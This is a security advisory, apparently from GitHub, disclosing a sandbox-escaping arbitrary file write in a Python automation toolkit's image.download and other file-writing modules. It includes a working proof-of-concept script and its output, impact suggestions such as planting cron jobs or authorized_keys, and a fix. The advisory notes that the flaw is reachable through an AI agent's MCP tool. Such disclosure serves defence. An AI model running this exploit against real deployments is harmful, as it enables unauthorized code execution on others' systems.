python outputpath = params.get('outputpath') outputdir = params.get('outputdir', '/tmp') # caller-controlled base ... basereal = os.path.realpath(outputdir) targetreal = os.path.realpath(outputpath) if os.path.commonpath([basereal, targetreal]) != basereal: raise Exception('Invalid file path') # base is attacker-chosen, so always passes ... content = await response.read() # attacker-hosted bytes with open(targetreal, 'wb') as f: f.write(content)

commonpath is used correctly, but the base is caller-supplied, so setting outputdir='/' passes any target. file.write, by contrast, uses validatepathwithenvconfig() and stays inside FLYTOSANDBOXDIR.

This is not isolated to image.download. Most other file-writing modules write to a caller outputpath with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcodegenerate, document.excelwrite, document.pdffillform, document.wordtopdf, document.pdftoword and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.

Reproduction

Save as filewritepoc.py, run with PYTHONPATH=src/src python filewritepoc.py. It sets FLYTOSANDBOXDIR to a sandbox dir and writes to a sibling directory outside it.

python #!/usr/bin/env python3 import asyncio import os import tempfile import threading from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["FLYTOALLOWEDHOSTS"] = "localhost" # let the content host pass the SSRF check EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"

class Content(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.sendheader("Content-Type", "image/jpeg") self.sendheader("Content-Length", str(len(EVIL))); self.endheaders(); self.wfile.write(EVIL) def logmessage(self, a): pass

async def run(mid, params): from core.modules.registry import ModuleRegistry try: return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={})) except Exception as e: return ("EXC", f"{type(e).name}: {e}")

async def main(): from core.modules.atomic import registerall registerall() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serveforever, daemon=True).start() root = tempfile.mkdtemp(prefix="flytopoc") sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox) escape = os.path.join(root, "ESCAPE"); os.makedirs(escape) os.environ["FLYTOSANDBOXDIR"] = sandbox target = os.path.join(escape, "pwned") # OUTSIDE the sandbox print("A) file.write:", await run("file.write", {"path": target, "content": "x"})) print("B) image.download:", await run("image.download", { "url": "http://localhost:8080/x.jpg", "outputdir": escape, "outputpath": target})) print("file written outside sandbox?", os.path.exists(target)) if os.path.exists(target): print("content:", open(target, "rb").read())

if name == "main": asyncio.run(main())

Output:

A) file.write: ('EXC', 'ModuleError: [PATHTRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...') B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...}) file written outside sandbox? True content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'

file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.

Reachability (why this is not operator self-service)

outputdir, outputpath and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic executemodule(moduleid, params) MCP tool (core/mcphandler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTOSANDBOXDIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.

Impact

Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorizedkeys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).

Suggested fix

Use validatepathwithenvconfig() for every module that writes files, so all writes are confined to FLYTOSANDBOXDIR (a base the caller cannot change), never to a caller-supplied outputdir.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203